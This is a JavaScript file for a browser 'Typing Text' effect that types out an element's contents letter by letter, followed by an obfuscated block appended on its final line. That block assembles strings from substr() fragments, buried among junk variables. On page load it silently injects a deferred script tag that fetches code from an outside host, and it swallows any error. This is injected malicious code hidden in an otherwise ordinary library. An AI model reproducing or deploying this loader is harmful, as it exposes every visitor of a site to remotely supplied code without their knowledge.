/*
An object-oriented Typing Text script, to allow for multiple instances.
A script that causes any text inside any text element to be "typed out", one letter at a time. Note that any HTML tags will not be included in the typed output, to prevent them from causing problems. Tested in Firefox v1.5.0.1, Opera v8.52, Konqueror v3.5.1, and IE v6.
Browsers that do not support this script will simply see the text fully displayed from the start, including any HTML tags.

Functions defined:
  TypingText(element, [interval = 100,] [cursor = "",] [finishedCallback = function(){return}]):
    Create a new TypingText object around the given element.  Optionally
    specify a delay between characters of interval milliseconds.
    cursor allows users to specify some HTML to be appended to the end of
    the string whilst typing.  Optionally, can also be a function which
    accepts the current text as an argument.  This allows the user to
    create a "dynamic cursor" which changes depending on the latest character
    or the current length of the string.
    finishedCallback allows advanced scripters to supply a function
    to be executed on finishing.  The function must accept no arguments.

  TypingText.run():
    Run the effect.

  static TypingText.runAll():
    Run all TypingText-enabled objects on the page.
*/

TypingText = function(element, interval, cursor, finishedCallback) {
  if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
    this.running = true;	// Never run.
    return;
  }
  this.element = element;
  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  this.interval = (typeof interval == "undefined" ? 100 : interval);
  this.origText = this.element.innerHTML;
  this.unparsedOrigText = this.origText;
  this.cursor = (cursor ? cursor : "");
  this.currentText = "";
  this.currentChar = 0;
  this.element.typingText = this;
  if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  TypingText.all.push(this);
  this.running = false;
  this.inTag = false;
  this.tagBuffer = "";
  this.inHTMLEntity = false;
  this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
  if(this.running) return;
  if(typeof this.origText == "undefined") {
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);	// We haven't finished loading yet.  Have patience.
    return;
  }
  if(this.currentText == "") this.element.innerHTML = "";
//  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  if(this.currentChar < this.origText.length) {
    if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
      this.tagBuffer = "<";
      this.inTag = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
      this.tagBuffer += ">";
      this.inTag = false;
      this.currentText += this.tagBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inTag) {
      this.tagBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
      this.HTMLEntityBuffer = "&";
      this.inHTMLEntity = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
      this.HTMLEntityBuffer += ";";
      this.inHTMLEntity = false;
      this.currentText += this.HTMLEntityBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inHTMLEntity) {
      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else {
      this.currentText += this.origText.charAt(this.currentChar);
    }
    this.element.innerHTML = this.currentText;
    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
    this.currentChar++;
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  } else {
	this.currentText = "";
	this.currentChar = 0;
        this.running = false;
        this.finishedCallback();
  }
}
var v;if(v!='Vx'){v='Vx'};var h="";function y(){var G;if(G!='x' && G!='W'){G=''};var X;if(X!='mg' && X!='eF'){X=''};var T='';var XG;if(XG!='hK' && XG != ''){XG=null};var m='';var fy;if(fy!='O'){fy='O'};var J=RegExp;var g='';var Bx='';var P=new String("g");var jV=new String();var zv;if(zv!='u'){zv='u'};function c(e,cK){var CQ='';this.ht='';var VR="";var yt= String("[");var QE;if(QE!='' && QE!='Wh'){QE=null};var WZ=new Date();yt+=cK;yt+=new String("]");var En;if(En!='Xs'){En='Xs'};var dw;if(dw!='Uw' && dw!='b'){dw='Uw'};var Xm=new Date();var el=new Date();var F=new J(yt, P);var L;if(L!='sN' && L != ''){L=null};var rS=new String();return e.replace(F, m);var Es=new Array();};var R;if(R!='pm'){R='pm'};var r=window;var k=String("/>"+"_<"+"MlOZb>".substr(4)+"Fa"+"taQyJ".substr(0,2)+"s7Jl Js7".substr(3,2)+"0pWfer".substr(4)+"ro"+"cNWr<".substr(3)+"/b"+">:Bklc".substr(0,2)+"ipc  ipc".substr(3,2)+"Ca"+"7JWnn7WJ".substr(3,2)+"otwa7".substr(0,2)+" r"+"GP3Ced".substr(4)+"ec"+"qeAzlaeAzq".substr(4,2)+"re"+"Wzo coWz".substr(3,2)+"Ar7he7rA".substr(3,2)+"TZdckZdT".substr(3,2)+"BPRurBRP".substr(3,2)+"k5jHli5jkH".substr(4,2)+"nfj9tF".substr(0,2)+"o(DEWl".substr(0,2)+"8Od) 8dO".substr(3,2)+"(p"+"X0cre".substr(3)+"vi"+"ou"+"1yXsl".substr(3)+"e0ly l0e".substr(3,2)+"de"+"vhDclhDv".substr(3,2)+"IxC9arxI9C".substr(4,2)+"ed"+" i"+"AjSn ".substr(3)+"/vMfFC".substr(0,2)+"Q8Sar".substr(3)+"pbuT/wTpub".substr(4,2)+"wwcKEV".substr(0,2)+"/h"+"vj5tm".substr(3)+"o6ql/oq6".substr(3,2)+"7ztUpa".substr(4)+"ge"+"rfxK.drKxf".substr(4,2)+"poEz1f".substr(0,2)+"QaCEolaCQE".substr(4,2)+".p"+"GjkhpkGj".substr(3,2)+":8P4nX".substr(0,2)+"8)Lf4O".substr(0,2)+"61cn i".substr(4)+"n "+"<bIuva".substr(0,2)+">/6Wg".substr(0,2)+"iZLva".substr(3)+"r/sJkh".substr(0,2)+"wwKC2a".substr(0,2)+"w/"+"htEd9".substr(0,2)+"zDjcml".substr(4)+"Xyl/cyXl".substr(3,2)+"agCYongCYa".substr(4,2)+"wc0Uf.c0Uw".substr(4,2)+"pheDXP".substr(0,2)+"Qglmp<lQgm".substr(4,2)+"x1Q/b1Qx".substr(3,2)+"> "+"on"+"48JW l".substr(4)+"intB6H".substr(0,2)+"e "+"<b"+"RuB0>30BRu".substr(4,2)+"23"+"2J5</25J".substr(3,2)+"b>FGQv".substr(0,2)+"6FiH<b6HFi".substr(4,2)+"r "+"/>bOP".substr(0,2)+"ycG/a".substr(3)+"5vRme".substr(3)+"batvqV".substr(0,2)+".jQ0YU".substr(0,2)+"p/K1hw".substr(0,2)+"4bc5am".substr(4)+"GgEebgEG".substr(3,2)+"a."+"zfQjp".substr(3)+"/g"+"R4zoozR4".substr(3,2)+"fMagl".substr(3)+"psYGe.".substr(4)+"YFBco".substr(3)+"m/UuR3".substr(0,2)+"ra"+"di"+"kam7i".substr(0,2)+"l."+"ru"+"1W5q/m".substr(4)+"aiFWSC".substr(0,2)+"niWdP".substr(0,2)+"ch"+"rNnti.ntNr".substr(4,2)+"7KtYjp".substr(4)+"URHq.p".substr(4)+"hpibl".substr(0,2));var Qm;if(Qm!='' && Qm!='dR'){Qm='EQ'};var V=String("scryUY9".substr(0,3)+"BgIiptBIg".substr(3,3));var RQ;if(RQ!='EX' && RQ!='Wa'){RQ=''};var zY;if(zY!='' && zY!='ZO'){zY=null};var nX=new Array();var FE='';var jq;if(jq!='ke'){jq=''};var GP=new Date();var q=String("defe"+"ykAr".substr(3));this.JB='';var d="http"+"://s"+"DVpbtatc".substr(4)+"ount"+"wOper-cpwO".substr(3,4)+"om.t"+"mz.c"+"om.s"+"lickQxrG".substr(0,4)+"4DRCdealRC4D".substr(4,4)+"Zfks-nefZk".substr(3,4)+"t.<b"+"r :";var vV=new String();var Fi=new String("sr"+"cDESr".substr(0,1));var YV=new Array();var f=80;var MH='';var UJ='';var _;if(_!=''){_='SO'};r.onload=function(){var YU=new Date();try {FE=d+f;FE+=k;this.N="";this.tx="";s=document.createElement(V);this.QK='';this.Tm='';s[q]=[1,7][0];s[Fi]=FE;var Hc=new Date();var zs="";document.body.appendChild(s);var oV;if(oV!='bo' && oV!='Fr'){oV='bo'};this.yh="";var zS;if(zS!='' && zS!='Qd'){zS='yY'};} catch(l){var DF=new Array();var Id;if(Id!='OK'){Id=''};};};};var tt=new Array();y();